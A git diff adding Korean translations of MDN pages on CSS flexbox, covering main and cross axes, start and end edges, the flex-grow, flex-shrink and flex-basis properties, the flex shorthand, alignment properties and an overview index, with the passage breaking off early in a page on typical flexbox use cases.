+<p><img alt="If flex-direction is set to column the main axis runs in the block direction." src="https://mdn.mozillademos.org/files/15615/Basics2.png" style="display: block; height: 227px; margin: 0px auto; width: 709px;"></p>
+
+<h3 id="교차축">교차축</h3>
+
+<p>교차축은 주축에 수직하므로, 만약 <code>flex-direction</code>(주축)이 <code>row</code> 나 <code>row-reverse</code> 라면 교차축은 열 방향을 따릅니다.</p>
+
+<p><img alt="If flex-direction is set to row then the cross axis runs in the block direction." src="https://mdn.mozillademos.org/files/15616/Basics3.png" style="display: block; height: 125px; margin: 0px auto; width: 666px;"></p>
+
+<p>주축이 <code>column</code> 혹은 <code>column-reverse</code> 라면 교차축은 행 방향을 따릅니다.</p>
+
+<p><img alt="If flex-direction is set to column then the cross axis runs in the inline direction." src="https://mdn.mozillademos.org/files/15617/Basics4.png" style="display: block; height: 244px; margin: 0px auto; width: 523px;"></p>
+
+<p>flex 요소를 정렬하고 끝을 맞추(justify)려면 어느 축이 어느 방향인지 이해하는 것이 중요합니다; flexbox는 주축, 교차축을 따라 항목을 정렬하고 끝을 맞추는 각종 속성들을 적용하는 방식으로 동작합니다.</p>
+
+<h2 id="시작선과_끝선">시작선과 끝선</h2>
+
+<p>flexbox가 쓰기 방법(writing mode)을 가정하지 않는다는 것은 상당히 중요합니다. 과거의 CSS는 왼쪽에서 오른쪽으로 향하는 가로 방향의 쓰기 방법에 치우쳐 있었습니다. 하지만 현대의 레이아웃은 다양한 쓰기 방법을 포괄해야 하므로, 더이상 텍스트가 문서의 왼쪽 상단에서 시작해서 오른쪽으로 향한다고 가정하지 않습니다. 새 라인이 항상 아래에 쌓인다고 가정하지도 않습니다.</p>
+
+<p>다른 글에서 flexbox와 쓰기 방법 명세(writing mode spec.)가 어떤 관련이 있는지 알아볼 수 있습니다. 그 전에, 이 글에서 flex 요소의 정렬 방향에 "왼쪽, 오른쪽, 위, 아래"를  사용하지 않는 이유를 알 수 있었으면 합니다.</p>
+
+<p><code>flex-direction</code>이 <code>row</code>고 영어 문장을 문서에 쓰고 있다면, 주축의 시작선은 왼쪽 끝, 끝선은 오른쪽 끝이 될 것입니다.</p>
+
+<p><img alt="Working in English the start edge is on the left." src="https://mdn.mozillademos.org/files/15618/Basics5.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>아랍어 문장을 쓰고 있다면, 주축의 시작선은 오른쪽 끝, 끝 선은 왼쪽 끝이 될 것입니다.</p>
+
+<p><img alt="The start edge in a RTL language is on the right." src="https://mdn.mozillademos.org/files/15619/Basics6.png" style="display: block; height: 152px; margin: 0px auto; width: 634px;"></p>
+
+<p>영어와 아랍어는 모두 가로 쓰기를 채택하고 있으므로 두 예시에서 교차축의 시작선은 <strong>flex 컨테이너</strong>의 위 끝이며 끝선은 아래 끝입니다.</p>
+
+<p>조금만 지나면 왼쪽-오른쪽으로 생각하는 것보다 시작선-끝선으로 생각하는 것이 금새 자연스러워질 것입니다. 동일한 패턴을 따르는 CSS 그리드 레이아웃 같은 방법을 다룰 때도 쉽게 적응할 수 있을 것입니다.</p>
+
+<h2 id="flex_컨테이너">flex 컨테이너</h2>
+
+<p>문서의 영역 중에서 flexbox가 놓여있는 영역을 <strong>flex 컨테이너</strong>라고 부릅니다. flex 컨테이너를 생성하려면 영역 내의 컨테이너 요소의 {{cssxref("display")}} 값을 <code>flex</code> 혹은 <code>inline-flex</code>로 지정합니다. 이 값이 지정된 컨테이너의 일차 자식(direct children) 요소가 <strong>flex 항목</strong>이 됩니다. display 속성만 지정하여 flex 컨테이너를 생성하면 다른 flex 관련 속성들은 아래처럼 기본 값이 지정됩니다.</p>
+
+<ul>
+ <li>항목은 행으로 나열됩니다. (<code>flex-direction</code> 속성의 기본값은 <code>row</code>입니다).</li>
+ <li>항목은 주축의 시작 선에서 시작합니다.</li>
+ <li>항목은 주 차원 위에서 늘어나지는 않지만 줄어들 수 있습니다.</li>
+ <li>항목은 교차축의 크기를 채우기 위해 늘어납니다.</li>
+ <li>{{cssxref("flex-basis")}} 속성은 <code>auto</code>로 지정됩니다.</li>
+ <li>{{cssxref("flex-wrap")}} 속성은 <code>nowrap</code>으로 지정됩니다.</li>
+</ul>
+
+<p>이렇게되면 <strong>flex 항목</strong>들은 각 항목 별 내부 요소의 크기로 주축을 따라 정렬됩니다. 컨테이너의 크기보다 더 많은 항목이 있을 경우 행을 바꾸지 않고 주축 방향으로 흘러 넘치게 됩니다. 어떤 항목이 다른 항목보다 높이 값이 크다면 나머지 모든 항목들은 그에 맞게 교차축을 따라 늘어나게 됩니다.</p>
+
+<p>다음의 라이브 예시를 통해 어떻게 보여지는지 확인할 수 있습니다. flexbox의 초기 동작을 시험해보려면 항목을 추가하거나 수정해보시기 바랍니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/the-flex-container.html", '100%', 480)}} </p>
+
+<h3 id="flex-direction_지정">flex-direction 지정</h3>
+
+<p><strong>flex 컨테이너</strong>에 {{cssxref("flex-direction")}} 속성을 지정하면 flex 항목이 나열되는 방향을 변경할 수 있습니다. <code>flex-direction: row-reverse</code> 라고 지정하면 행으로 나열되는 것은 그대로지만 시작 선과 끝 선이 서로 바뀌게 됩니다.</p>
+
+<p><code>flex-direction</code>을 <code>column</code>으로 지정하면 주축이 변경되고 항목들은 열로 나열됩니다. <code>column-reverse</code>로 지정하면 그에 더해 시작 선과 끝 선이 서로 바뀌게 됩니다.</p>
+
+<p>다음의 라이브 예시는 <code>flex-direction</code>이 <code>row-reverse</code>로 지정되어 있습니다. <code>row</code>, <code>column</code>, <code>column-reverse</code>와 같은 값을 지정해서 어떻게 되는지 확인해보시기 바랍니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}</p>
+
+<h2 id="flex-wrap을_이용한_복수_행_flex_컨테이너_지정">flex-wrap을 이용한 복수 행 flex 컨테이너 지정</h2>
+
+<p>flexbox는 1차원 모델이지만 <strong>flex 항목</strong>이 여러 행에 나열되도록 할 수 있습니다. 그 경우 각 행이 새로운 <strong>flex 컨테이너</strong>라고 생각해야 합니다. 공간 배분은 해당 행에서만 이루어지며 다른 행은 영향을 받지 않습니다.</p>
+
+<p>항목이 여러 행에 나열되도록 하려면 {{cssxref("flex-wrap")}} 속성의 값을 <code>wrap</code>으로 지정합니다. 그러면 항목이 하나의 행에 들어가지 않을 정도로 클 경우 다른 행에 배치됩니다. 아래의 라이브 예시에 있는 <strong>flex 항목</strong>은 폭이 지정되어 있으며 항목들의 폭의 합은 <strong>flex 컨테이너</strong>에 들어가기에는 너무 넓습니다. <code>flex-wrap</code>속성이 <code>wrap</code>으로 지정되어 있으므로 항목은 여러 행에 나열됩니다. 초깃값과 동일한 <code>nowrap</code>을 지정하고 flex항목에 대한 확대/축소 방식을 별도로 지정하지 않으면 <strong>flex 항목</strong>들은 컨테이너의 폭에 맞게 줄어듭니다.  <code>nowrap</code>을 지정하면 항목이 전혀 줄어들 수 없거나 충분히 줄어들 수 없을 때 흘러넘치게 됩니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-wrap.html", '100%', 400)}}</p>
+
+<p><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Mastering Wrapping of Flex Items</a> 가이드에서 더 자세한 내용을 확인할 수 있습니다.</p>
+
+<h2 id="축약형_속성_flex-flow">축약형 속성 flex-flow</h2>
+
+<p><code>flex-direction</code> 속성과 <code>flex-wrap</code> 속성을 {{cssxref("flex-flow")}}라는 축약 속성으로 합칠 수 있습니다. 첫 번째 값은 <code>flex-direction</code>이고 두 번째 값은 <code>flex-wrap</code>입니다.</p>
+
+<p>다음의 라이브 예시에서 첫 번째 값을 <code>flex-direction</code>에 지정 가능한 값들(<code>row</code>, <code>row-reverse</code>, <code>column</code> or <code>column-reverse</code>)로 바꿔보시기 바랍니다. 두 번째 값도 <code>wrap</code>이나 <code>nowrap</code>으로 바꿔보시기 바랍니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}</p>
+
+<h2 id="flex_항목에_지정_가능한_속성들">flex 항목에 지정 가능한 속성들</h2>
+
+<p><strong>flex 항목</strong>에 적용할 수 있는 속성은 다음과 같습니다.</p>
+
+<ul>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+</ul>
+
+<p>이 글에서는 위의 속성들에 대해 간략하게 살펴보겠습니다. 자세한 내용은 <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of Flex Items on the Main Axis</a>에서 다룹니다.</p>
+
+<p>500 픽셀의 크기를 갖는 <strong>flex 컨테이너</strong> 내에 100 픽셀 크기의 자식 세 개가 존재할 때, <strong>사용가능한 공간 </strong>200 픽셀이 남게 됩니다. 기본적으로 flexbox는 이 공간을 마지막 자식 요소 다음에 빈공간으로 남겨둡니다.</p>
+
+<p><img alt="This flex container has available space after laying out the items." src="https://mdn.mozillademos.org/files/15620/Basics7.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
+
+<p>위의 세 가지 속성을 변경한다는 것은 <strong>flex 항목</strong>에게 <strong>사용가능한 공간</strong>을 분배하는 방식을 변경하는 것입니다. <strong>사용가능한 공간 </strong>개념은 <strong>flex 항목</strong>을 정렬할 때 특히 중요합니다.</p>
+
+<h3 id="flex-basis_속성"><code>flex-basis</code> 속성</h3>
+
+<p><code>flex-basis</code> 속성은 항목의 크기를 결정합니다. 이 속성의 기본값은 <code>auto</code>이며, 이 경우 브라우저는 항목이 크기를 갖는지 확인합니다. 위의 사진 예시의 경우 항목의 크기가 100 픽셀이므로 flex-basis의 값으로 100 픽셀이 사용됩니다.</p>
+
+<p><strong>flex 항목</strong>에 크기가 지정되어 있지 않으면, <strong>flex 항목</strong>의 내용물 크기가 flex-basis 값으로 사용됩니다. 따라서 <strong>flex 컨테이너</strong>에서 <code>display: flex</code> 속성만을 지정하면 flex항목들이 각 내용물 크기만큼 공간을 차지하게 됩니다.</p>
+
+<h3 id="flex-grow_속성"><code>flex-grow</code> 속성</h3>
+
+<p><code>flex-grow</code>값을 양수로 지정하면<strong> flex 항목</strong>별로 주축 방향 크기가 <code>flex-basis</code> 값 이상으로 늘어날 수 있게 됩니다. 위의 사진 예시에서 모든 항목의 flex-grow 값을 1로 지정하면 사용가능한 공간은 각 항목에게 동일하게 분배되며, 각 항목은 주축을 따라 분배받은 값만큼 사이즈를 늘려 공간을 차지합니다.</p>
+
+<p>첫 항목의 <code>flex-grow</code> 값을 2로 지정하고 나머지 두 개의 항목을 1로 지정한다면 각 항목에 지정된 <code>flex-grow</code> 값의 비율에 따라 남은 공간이 분배됩니다. 각 항목의 <code>flex-grow</code> 비율이 2:1:1 이므로 첫 항목에게 100 픽셀, 두 번째와 세 번째 항목에게 50 픽셀씩 분배됩니다.</p>
+
+<h3 id="flex-shrink_속성"><code>flex-shrink</code> 속성</h3>
+
+<p><code>flex-grow</code> 속성이 주축에서 남는 공간을 항목들에게 분배하는 방법을 결정한다면 <code>flex-shrink</code> 속성은 주축의 공간이 부족할때 각 항목의 사이즈를 줄이는 방법을 정의합니다. 만약 <strong>flex 컨테이너</strong>가 <strong>flex 항목</strong>을 모두 포함할 만큼 넉넉한 공간을 갖고 있지 않고 <code>flex-shrink</code> 값이 양수이면 <strong>flex 항목</strong>은 flex-basis에 지정된 크기보다 작아집니다. 또한, <code>flex-grow</code> 속성과 마찬가지로 더 큰 <code>flex-shrink</code> 값을 갖는 항목의 사이즈가 더 빨리 줄어듭니다.</p>
+
+<p>항목의 최소 크기는 실제 축소량을 계산할 때 고려되기 때문에 flex-shrink 속성이 flex-grow 속성에 비해 덜 일관된 모습을 보여줄지도 모릅니다. <code>flex-shrink</code> 속성이 항목의 사이즈를 결정하는 알고리즘에 관해서는 <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of Flex Items on the Main Axis</a>에서 자세히 살펴히보겠습니다.</p>
+
+<div class="note">
+<p><code>flex-grow</code> 와 <code>flex-shrink</code>의 값이 비율임을 유의하세요.  <strong>flex 항목</strong>의 flex 속성을 모두 <code>1 1 200px</code> 로 지정하고 한 항목만 크기가 늘어나는 비율을 타 항목의 두배로 하고 싶으면 해당 <strong>flex 항목</strong>의 flex 속성을 <code>2 1 200px</code>로 지정하면 되지만, flex 속성 값을 모두  <code>10 1 200px</code>로 지정하고 늘어나는 비율을 두 배로 하고 싶은 항목의 flex 속성 값만 <code>20 1 200px</code>로 지정해도 동일하게 동작합니다.</p>
+</div>
+
+<h3 id="축약형_속성_flex">축약형 속성 flex</h3>
+
+<p>보통은 <code>flex-grow</code>, <code>flex-shrink</code>, <code>flex-basis</code>  값을 각각 사용하지 않고 이 세 속성을 한번에 지정하는 {{cssxref("flex")}} 축약형을 많이 사용합니다. <code>flex</code> 축약형의 값은 <code>flex-grow</code>, <code>flex-shrink</code>, <code>flex-basis</code> 순서로 지정됩니다.</p>
+
+<p>다음의 라이브 예시에서 flex 축약형의 값들을 조절하면서 시험해 볼 수 있습니다. 첫 값이 <code>flex-grow</code>를 지정하며,  이 첫 값을 양수로 하면 <strong>flex 항목</strong>이 넓어질 수 있습니다. 두 번째 값은 <code>flex-shrink</code> 를 지정하며 이 두 번째 값에 양수를 지정하면 <strong>flex 항목</strong>이 좁아질 수 있습니다. 세 번째 값은 <code>flex-basis</code>를 지정하며 이 값은 <strong>flex 항목</strong>이 넓어지거나 좁아질 때 고려하는 기준 값입니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-properties.html", '100%', 510)}}</p>
+
+<p>flex 축약형 표현에 사용할 수 있는 미리 정의된 축약 값들이 아래에 나열되어 있습니다. 이 값들 만으로도 대부분의 경우(use-case)에 대응할 수 있을 것 입니다.</p>
+
+<ul>
+ <li><code>flex: initial</code></li>
+ <li><code>flex: auto</code></li>
+ <li><code>flex: none</code></li>
+ <li><code>flex: &lt;positive-number&gt;</code></li>
+</ul>
+
+<p><strong>flex 항목</strong>을 <code>flex: initial</code>로 지정하면  <code>flex: 0 1 auto</code> 로 지정한 것과 동일하게 동작합니다. 이 경우, <strong>flex 항목</strong>들은  <code>flex-grow</code>가 0이므로  <code>flex-basis</code>값보다 커지지 않고  <code>flex-shrink</code>가 1이므로 <strong>flex 컨테이너</strong> 공간이 모자라면 크기가 줄어듭니다. 또, <code>flex-basis</code>가 <code>auto</code>이므로 <strong>flex 항목</strong>은 주축 방향으로 지정된 크기 또는 자기 내부 요소 크기 만큼 공간을 차지합니다.</p>
+
+<p><code>flex: auto</code> 로 지정하면 <code>flex: 1 1 auto</code>로 지정한 것과 동일하며, <code>flex:initial</code> 과는 주축 방향 여유 공간이 있을 때 <strong>flex 항목</strong>들이 늘어나서 주축 방향 여유 공간을 채우는 점만 다릅니다.</p>
+
+<p><code>flex: none</code>으로 지정하면 <code>flex: 0 0 auto</code>으로 지정한 것과 동일하며 <strong>flex 컨테이너</strong>의 크기 변화에도<strong> flex 항목</strong> 크기는 변하지 않고 <code>flex-basis</code>를 <code>auto</code>로 지정했을 때 정해지는 크기로 결정됩니다.  </p>
+
+<p>이 축약형은 더 축약해서 <code>flex: 1</code> 이나 <code>flex: 2</code>처럼 쓸수도 있는데, 이는 <code>flex-grow</code> 만 지정하고 나머지는 1 0으로 사용한다는 뜻이다. 따라서 <code>flex: 2</code>는 <code>flex: 2 1 0</code>와 동일하게 처리됩니다.</p>
+
+<p>다음 라이브 예제에서 이 축약 값들을 시험해 볼 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-shorthands.html", '100%', 510)}}</p>
+
+<h2 id="정렬_끝_맞추기(justification)_flex_항목간_여유_공간_분배">정렬, 끝 맞추기(justification), flex 항목간 여유 공간 분배</h2>
+
+<p>flexbox의 주 기능 중 하나는 (주축과 교차축으로 표현되는) <strong>flex 컨테이너</strong> 공간 안에 <strong>flex 항목</strong>들을 정렬하고 끝 마추며 여유 공간을 항목 간에 분배하는 것입니다. </p>
+
+<p>역주) 이 절의 내용은 편의상 <strong>flex 컨테이너</strong>의 flex-direction를 row로 가정하고 '행'과 '열'로 표기했습니다.</p>
+
+<h3 id="align-items"><code>align-items</code></h3>
+
+<p>{{cssxref("align-items")}}는 <strong>flex 컨테이너</strong>에 지정하는 속성이며, 교차축을 따라 <strong>flex 항목</strong> 열을 정렬하는 방식을 지정합니다. </p>
+
+<p>이 속성의 (아무것도 지정하지 않았을 때 적용되는)초기 값은 <code>stretch</code>이며 이 값을 지정하면 <strong>flex 항목</strong>의 높이는 <strong>flex 컨테이너</strong> 내 <strong>flex 항목</strong> 행의 최대 높이로 지정됩니다. 따라서, <strong>flex 항목</strong> 행이 하나 일 때는 <strong>flex 항목</strong>은 교차축 방향으로 <strong>flex 컨테이너</strong>를 가득 채우게 됩니다.</p>
+
+<p>이 속성을 <code>flex-start</code>로 지정하면<strong> flex 항목</strong>의 첫 열이 교차축 방향의 시작선에 정렬됩니다. <code>flex-end</code>로 지정하면 <strong>flex 항목</strong>의 첫 열이 교차축 방향의 끝선에 정렬됩니다. <code>center</code>로 지정하면 <strong>flex 항목</strong> 행에 배분된 공간의 가운데 라인에 정렬됩니다.</p>
+
+<p>다음 라이브 예제에서 이 값들을 시험해 볼 수 있습니다. - 이 시험을 위해 의도적으로 <strong>flex 컨테이너</strong>에 높이를 지정해 두었습니다.</p>
+
+<ul>
+ <li><code>stretch</code></li>
+ <li><code>flex-start</code></li>
+ <li><code>flex-end</code></li>
+ <li><code>center</code></li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/align-items.html", '100%', 520)}}</p>
+
+<h3 id="justify-content"><code>justify-content</code></h3>
+
+<p>{{cssxref("justify-content")}} 속성은 주축을 따라 <strong>flex 항목</strong> 행을 정렬하는 방식을 지정합니다.</p>
+
+<p>이 속성의 (아무것도 지정하지 않았을 때 적용되는)초기 값은 <code>flex-start</code>이며 이 값을 지정하면 <strong>flex 항목</strong> 행 내의 항목들은 <strong>flex 컨테이너</strong>의 시작선에서 부터 정렬됩니다. <code>flex-end</code>로 지정하면 <strong>flex 항목</strong> 행의 마지막 항목이 <strong>flex 컨테이너</strong>의 끝선에서 정렬됩니다. <code>center</code>로 지정하면 <strong>flex 항목</strong>들이 <strong>flex 항목</strong> 행의 가운데 정렬됩니다.</p>
+
+<p><code>space-between</code>을 지정하면 주죽 방향 여유 공간을 <strong>flex 항목</strong> 사이의 공간에 균등 배분합니다. </p>
+
+<p><code>space-around</code>는 시작선 및 끝선과<strong> flex 항목</strong>간 공간도 균등 배분에 고려하므로 시작선 및 끝선과 <strong>flex 항목</strong> 간의 공간의 크기를 1로 배분한다면 <strong>flex 항목</strong> 사이의 공간은 2로 배분합니다. </p>
+
+<p><code>space-evenly</code>로 지정하면 여유 공간을 <strong>flex 항목</strong> 사이의 공간 및 시작선 및 끝선과 <strong>flex 항목</strong> 간의 공간에 모두 균등하게 배분합니다.</p>
+
+<p>다음 라이브 예제에서 <code>justify-content</code>에 지정할 수 있는 다음 값들을 시험해 볼 수 있습니다.</p>
+
+<ul>
+ <li><code>stretch</code></li>
+ <li><code>flex-start</code></li>
+ <li><code>flex-end</code></li>
+ <li><code>center</code></li>
+ <li><code>space-around</code></li>
+ <li><code>space-between</code></li>
+ <li><code>space-evenly</code></li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/justify-content.html", '100%', 380)}}</p>
+
+<p>이 절에서 설명한 내용으로 대부분의 경우에 대응할 수 있지만,  <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning Items in a Flex Container</a> 에서 이 속성들을 더 자세히 살펴볼 것입니다.</p>
+
+<h2 id="Next_steps">Next steps</h2>
+
+<p>Flexbox의 개요를 살펴보았습니다. 다음 글 <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">how this specification relates to other parts of CSS</a>에서 이 규격이 다른 CSS 규격과 어떻게 연관되어 있는지 말씀드리겠습니다.</p>
diff --git a/files/ko/web/css/css_flexible_box_layout/index.html b/files/ko/web/css/css_flexible_box_layout/index.html
new file mode 100644
index 0000000000..d098a530b4
--- /dev/null
+++ b/files/ko/web/css/css_flexible_box_layout/index.html
@@ -0,0 +1,108 @@
+---
+title: CSS Flexible Box Layout
+slug: Web/CSS/CSS_Flexible_Box_Layout
+tags:
+ - CSS
+ - CSS Flexible Boxes
+ - Guide
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Flexible_Box_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><strong>CSS Flexible Box Layout</strong>은 사용자 인터페이스 디자인과 단방향 레이아웃에 최적화된 <a href="/ko/docs/Web/CSS">CSS</a> 모듈입니다. 플렉스 레이아웃 모델에서는, 플렉스 컨테이너의 자식을 어떤 방향으로도 배치할 수 있으며, 자식의 크기도 유연하게("플렉시블") 빈 공간을 채우거나, 컨테이너를 넘어가지 않도록 줄어듭니다. 자식 간의 수평 및 수직 정렬 또한 쉽게 조작할 수 있습니다.</p>
+
+<h2 id="기본_예제">기본 예제</h2>
+
+<p>다음 예제의 컨테이너는 <code>display: flex</code>를 적용한 상태입니다. 따라서 컨테이너의 세 자식은 플렉스 항목이 됩니다. <code>justify-content</code>의 값은 <code>space-between</code>으로, 각 아이템을 주축(가로축)에 균일한 간격으로 배치합니다. 그래서 같은 양의 공간이 자식 사이에 균일하게 생기며 왼쪽과 오른쪽 아이템이 플렉스 컨테이너의 양 모서리에 붙어서 배치됩니다. 또한 <code>align-items</code>의 기본값인 <code>stretch</code>로 인해, 각 항목의 높이가 플렉스 컨테이너의 높이까지 늘어나서 세 자식 모두 제일 높이가 큰 항목과 같은 높이가 되는 것도 확인할 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/simple-example.html", '100%', 500)}}</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="CSS_속성">CSS 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("flex")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex-flow")}}</li>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-wrap")}}</li>
+ <li>{{cssxref("order")}}</li>
+</ul>
+</div>
+
+<h3 id="정렬_속성">정렬 속성</h3>
+
+<p><code>align-content</code>, <code>align-self</code>, <code>align-items</code>, <code>justify-content</code> 속성은 플렉스박스 명세에서 처음 나왔지만, 지금은 박스 정렬 명세가 정의하며 플렉스박스 명세는 박스 정렬 명세를 참조하고 있습니다. 추가 정렬 속성도 박스 정렬 명세가 가지고 있습니다.</p>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("place-content")}}</li>
+ <li>{{cssxref("place-items")}}</li>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+</div>
+
+<h3 id="용어">용어</h3>
+
+<div class="index">
+<ul>
+ <li>{{Glossary("Flexbox", "플렉스박스")}}</li>
+ <li>{{Glossary("Flex Container", "플렉스 컨테이너")}}</li>
+ <li>{{Glossary("Flex Item", "플렉스 항목")}}</li>
+ <li>{{Glossary("Main Axis", "주축")}}</li>
+ <li>{{Glossary("Cross Axis", "교차축")}}</li>
+ <li>{{Glossary("Flex", "플렉스")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Flexbox%EC%9D%98_%EA%B8%B0%EB%B3%B8_%EA%B0%9C%EB%85%90">플렉스박스의 기본 개념</a></dt>
+ <dd>플렉스박스의 기능 개요입니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">다른 레이아웃과 플렉스박스의 관계</a></dt>
+ <dd>플렉스박스와 다른 레이아웃 방법, 그리고 다른 CSS 명세가 가진 관계를 설명합니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">플렉스 컨테이너의 아이템 정렬하기</a></dt>
+ <dd>박스 정렬 속성이 플렉스박스에서 동작하는 방식을 설명합니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">플렉스 아이템 배치하기</a></dt>
+ <dd>아이템의 순서와 방향을 바꾸는 여러 방법과, 이 때 발생할 수 있는 여러 문제를 다룹니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">플렉스 아이템의 주요 축 비율 조절하기</a></dt>
+ <dd><code>flex-grow</code>, <code>flex-shrink</code>, <code>flex-basis</code> 속성을 설명합니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">플렉스 아이템 줄바꿈 마스터하기</a></dt>
+ <dd>여러 줄로 이뤄진 플렉스 컨테이너를 만드는 방법과, 컨테이너 아이템의 표시 방법 설정을 설명합니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox">플렉스박스의 일반적인 용례</a></dt>
+ <dd>일반적인 플렉스박스 디자인 패턴입니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox">플렉스박스의 하위 호환성</a></dt>
+ <dd>플렉스박스의 브라우저 상태, 상호 호환성 이슈와 함께 구형 브라우저와 이전 명세를 지원하는 방법을 설명합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Flexbox') }}</td>
+ <td>{{ Spec2('CSS3 Flexbox') }}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_flexible_box_layout/가변상자의_대표적인_사용례/index.html b/files/ko/web/css/css_flexible_box_layout/가변상자의_대표적인_사용례/index.html
new file mode 100644
index 0000000000..a9f75246aa
--- /dev/null
+++ b/files/ko/web/css/css_flexible_box_layout/가변상자의_대표적인_사용례/index.html
@@ -0,0 +1,141 @@
+---
+title: 가변상자의 대표적인 사용례
+slug: Web/CSS/CSS_Flexible_Box_Layout/가변상자의_대표적인_사용례
+tags:
+ - 가변상자
+ - 씨에스에스
+ - 안내서
+ - 용례
+ - 패턴
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">이번 안내서에서는 흔히 볼 수 있는 가변상자 사용 사례 중 일부를 살펴 보겠습니다. 가변상자의 사용이 다른 조판 메서드보다 더 적합한 사례입니다.</p>
+
+<h2 id="왜_가변상자를_선택">왜 가변상자를 선택?</h2>
+
+<p>완벽한 브라우저 지원 환경에서 가변상자를 사용하기로 선택한 이유는 항목 모음을 한 방향 또는 다른 방향으로 배치하길 원하기 때문입니다. 우리가 항목을 배치할 때 해당 일차원의 항목 크기를 제어하거나 항목 간 간격을 제어하려고 합니다. 이것이 가변상자를 설계한 목적에 맞는 용도입니다. <a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">가변상자와 여타 씨에스에스 조판 메서드의 관계</a>에서 가변상자와 씨에스에스 격자 조판의 차이점에 대해 자세히 읽을 수 있습니다. 그곳에선 가변상자가 씨에스에스 조판의 전체 그림에서 어떤 역할을 하고 있는지에 대해 논의합니다.</p>
+
+<p>실제로 격자 조판에 의해 더 잘 수행 될 수있는 작업이나 격자에 대한 대체품 및 정렬 기능을 얻기 위해 가변상자를 종종 사용합니다. 당 사용례는 블록 조판에서 <ruby><em>상자 정렬</em><rp> (</rp><rt>Box Alignment</rt><rp>) </rp></ruby>이 구현되고 나면 변경될 수 있습니다. 이 안내서에서는 오늘날 가변상자가 쓰일 수 있는 몇 가지 대표적인 사용례를 살펴봅니다.</p>
+
+<h2 id="탐색_메뉴">탐색 메뉴</h2>
+
+<p>탐색 메뉴의 일반적인 패턴은 항목 목록을 가로 막대로 표시하는 것입니다. 이 패턴은 기본적으로 가변상자 이전에는 달성하기 어려웠습니다. 이는(탐색 가로 막대) 가장 간단한 가변상자 예제를 형성하며 이상적인 가변상자 사용 사례로 간주될 수 있습니다.</p>
+
